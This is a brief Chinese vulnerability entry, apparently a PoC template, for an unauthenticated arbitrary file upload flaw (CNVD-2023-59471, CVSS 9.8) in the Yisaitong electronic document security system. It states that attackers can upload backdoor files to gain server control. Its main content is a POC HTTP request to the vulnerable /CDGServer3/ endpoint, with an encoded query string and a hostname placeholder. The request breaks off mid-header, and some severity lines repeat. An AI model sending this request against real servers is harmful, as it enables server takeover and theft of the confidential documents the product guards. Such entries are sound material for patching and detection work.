亿某通电子文档安全管理系统是一款电子文档安全防护软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口处存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。
CNVD:https://www.cnvd.org.cn/flaw/show/CNVD-2023-59471(目前未公开)
<= V5.x
严重
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
<= V5.x
严重
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
POC:
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: {
{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Length: 6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=